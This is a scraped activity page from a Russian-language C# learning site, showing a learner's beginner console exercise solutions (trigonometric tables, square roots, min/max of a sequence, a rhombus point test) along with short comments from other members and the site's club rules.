//www.VideoSharp.info/Консоль/Математика/Дробная таблица
using System;
class VideoSharp
{
    static void Main()
    {
        for(double x = -2.0; x <= 2.1; x += 0.1)
        {
            double y = ((x * x) * Math.Sin(x)) / Math.Sqrt(Math.Abs(Math.Cos(x)));
            Console.WriteLine("{0,5:f1}\t{1,9:f5}", x, y);
        }
    }
}


17663. --
Oleksandr
Oleksandr
ответить
# Консоль / Математика / Тригонометрия / 2019-01-11 23:43

//www.VideoSharp.info/Консоль/Математика/Тригонометрия
using System;
class VideoSharp
{
    static void Main()
    {
        double y = double.Parse(Console.ReadLine());
        for(double x = -0.5; x <= 0.5; x += 0.1)
        {
            double z = (1 + Math.Pow(Math.Cos(x + y), 2.0)) / ( 2 + Math.Abs(y - Math.Sin(x)));
            Console.WriteLine("{0:0.00000}", z);
        }
    }
}


17663. --
Oleksandr
Oleksandr
ответить
# Консоль / Математика / Корни / 2019-01-10 16:28

//www.VideoSharp.info/Консоль/Математика/Корни
using System;
class VideoSharp
{
    static void Main()
    {
        double x = 6561d;
        int N = int.Parse(Console.ReadLine());
        for(int i = 0; i < N; i++)
        {
            x = Math.Sqrt(x);
        } 
        Console.WriteLine("{0:0.00000}", x);
    }
}


17606. --
Виктор
Виктор
ответить
→  Oleksandr  # Фотошарп / ФИНАЛЬНЫЙ УРОК / 2019-01-10 11:40

So many unfamiliar difficult terms that I can’t repeat even)


1. --
Евгений Волосатов
Евгений Волосатов
ответить
→  Oleksandr  # Фотошарп / ФИНАЛЬНЫЙ УРОК / 2019-01-09 21:28

Молодец, прекрасная работа и очень хороший обзор, смотрел и слушал на одном дыхании :)


17663. --
Oleksandr
Oleksandr
ответить
# Консоль / Математика / Косинусы / 2019-01-09 12:23

//www.VideoSharp.info/Консоль/Математика/Косинусы
using System;
class VideoSharp
{
    static void Main()
    {
        int alfa;
        double rad, cos;
        alfa = 0;
        while(alfa <= 90)
        {
            rad = alfa * Math.PI / 180;
            cos = Math.Cos(rad);
            Console.WriteLine("cos {0} = {1:0.000}", alfa, cos);
            alfa++;
        }
    }
}


1. --
Евгений Волосатов
Евгений Волосатов
ответить
→  Oleksandr  # Фотошарп / Билинейная интерполяция / 2019-01-09 10:24

Отличная работа, молодец!


17663. --
Oleksandr
Oleksandr
ответить
# Консоль / Последовательность / Максимальный элемент / 2019-01-08 22:01

//www.VideoSharp.info/Консоль/Последовательность/Максимальный элемент
using System;
class VideoSharp
{
    static void Main()
    {
        string st;
        int a;
        int max = int.Parse(Console.ReadLine());
        Console.WriteLine(max);     
        while ("." != (st = Console.ReadLine()))
        {
            a = int.Parse(st);
            if(a > max) max = a;
            Console.WriteLine(max);
        }     
    }
}


17663. --
Oleksandr
Oleksandr
ответить
# Консоль / Последовательность / Минимальное и максимальное число / 2019-01-07 21:17

using System;
class VideoSharp
{
    static void Main()
    {
        string s;
        int min = 0;
        int max = 0;
        bool first = true;       
        while ("." != (s = Console.ReadLine()))
        {
            int n = int.Parse(s);
            if(first)
            {
                min = n;
                max = n;
                first = false;
            }
            if (n < min) min = n;
            if (n > max) max = n;
        }
        Console.WriteLine("{0} {1}", min, max);
    }
}


1. --
Евгений Волосатов
Евгений Волосатов
ответить
→  Oleksandr  # Дневник успеха / 2019-01-06 : Какие труды, такие и плоды. / 2019-01-06 21:46

по 1 разделу алгоритмики - это круто...


17663. --
Oleksandr
Oleksandr
ответить
→  Роман   / 2019-01-06 20:50

Это у тебя будет следующий урок - оставить один комментарий в день ;)


20591. --
Роман
Роман
ответить
→  Oleksandr   / 2019-01-06 20:43

Спасибо за разъяснение)


17663. --
Oleksandr
Oleksandr
ответить
→  Роман  # Начало здесь / День №1. Создание микро-Привычки. / 2019-01-06 20:38

Привет. Приветствуем на ресурсе.
За проверку отчетов байты начисляются только за первые пять, то есть максимум ты можешь получить 5 байт за проверку отчетов. Если ты вступишь в клуб формулистов, то каждый день тебе будет доступен 1 урок бесплатно, последующие уроки будут стоить 50 байт, не зависимо от хронометража. По своему опыту могу сказать, что байты только копятся, потратить их очень сложно.


1. --
Евгений Волосатов
Евгений Волосатов
ответить
→  Oleksandr  # Фотошарп / Изменение размера / 2019-01-06 13:33

Хорошая работа. Перечитал статья сам


17663. --
Oleksandr
Oleksandr
ответить
# Консоль / Точка и плоскость / Ромб / 2019-01-05 15:22

using System;
class VideoSharp
{
    static void Main()
    {
        string[] s = Console.ReadLine().Split();
        double x = double.Parse(s[0]);
        double y = double.Parse(s[1]);
        x = x < 0 ? -x : x;
        y = y < 0 ? -y : y;
        if (y <= 2 - x)
            Console.WriteLine("Да");
        else
            Console.WriteLine("Нет");
    }
} Рекомендую посмотреть видео.


3506. --
Алексей|BrisK|Кривицкий
Алексей|BrisK|Кривицкий
ответить
→  Oleksandr  # Фотошарп / Градационная коррекция / 2019-01-04 19:49

Привет еще не много и напишешь свою версию фотошопа. Удачи тебе, ты славно потрудился, молодец.


17663. --
Oleksandr
Oleksandr
ответить
→  Евгений Волосатов   / 2019-01-04 17:11

Я баг нашел - если запостить отчет об уроке, отменить его и запостить заново - то начисляется как за 2 выполненых урока. Но зарепродюсить до завтра немогу.
FYI


1. --
Евгений Волосатов
Евгений Волосатов
ответить
→  Oleksandr  # Фотошарп / Градационная коррекция / 2019-01-04 16:52

Еще пару раз встретишь делегаты и сам начнешь юзать


17663. --
Oleksandr
Oleksandr
ответить
# Консоль / Обман цикла / Множитель / 2019-01-04 12:46

//www.VideoSharp.info/Консоль/Обман цикла/Множитель
using System;
class VideoSharp
{
    static void Main()
    {
        string [] s = Console.ReadLine().Split();
        int N = int.Parse(s[0]);
        int M = int.Parse(s[1]);
        for(int a = 1; a < M; a++)
        {
            if (a * N >= M)
                break;
            Console.WriteLine(a);
        }
    }
}


  • Звание: Мегакодер
  • Накопленный опыт: 636 часов
  • Собранный капитал: нет
  • Участник «Клуба формулистов»: до 2019-03-26

Клуб формулистов

Правила клуба формулистов

У каждого формулиста есть задача минимум на каждый день:
+ зайти на сайт, проверить один отчёт, получить 1 байт.
Задача максимум - выполнить все остальные ежедневные задачи.
Нажмите здесь чтобы перейти к ежедневному чек-листу.

В 24:00 МСК накопленные за сутки байты переносятся в недельный актив.
В воскресение 24:00 МСК все накопленные байты переходят на баланс формулиста.

Собранные байты можно обменивать на доступные видеокурсы (1 байт = 1 рубль, без скидок)
Приобретённые за байты видеокурсы доступны только во время нахождения в автобусе/клубе формулистов!

При завершении подписки в автобусе/клубе формулистов все накопленные байты обнуляются, а доступ к видеокурсам, приобретённым за байты, закрывается.
Продлевайте подписку заблаговременно.

Начинаем практику по языку C#





Если вы пришли без приглашения -
введите тысяча двадцать четыре (цифрами).
Чтобы стать хорошим программистом — нужно писать программы. На нашем сайте очень много практических упражнений.

После заполнения формы ты будешь подписан на рассылку «C# Вебинары и Видеоуроки», у тебя появится доступ к видеоурокам и консольным задачам.

Несколько раз в неделю тебе будут приходить письма — приглашения на вебинары, информация об акциях и скидках, полезная информация по C#.

Ты в любой момент сможешь отписаться от рассылки.


Научился: Супер. Тесты помогли найти ошибку в методе Intersect из прошлого урока. Так бы, кто его знает сколько времени потратил бы потом на поиски.



Научился: Создали новый класс Box и переделали программу под его использование.
Трудности: Нашел у себя ошибку: почему координаты записал не так как надо - (int x1, int x2, int y1, int y2) - ну и помучался пока дошло, почему все не так как у ментора.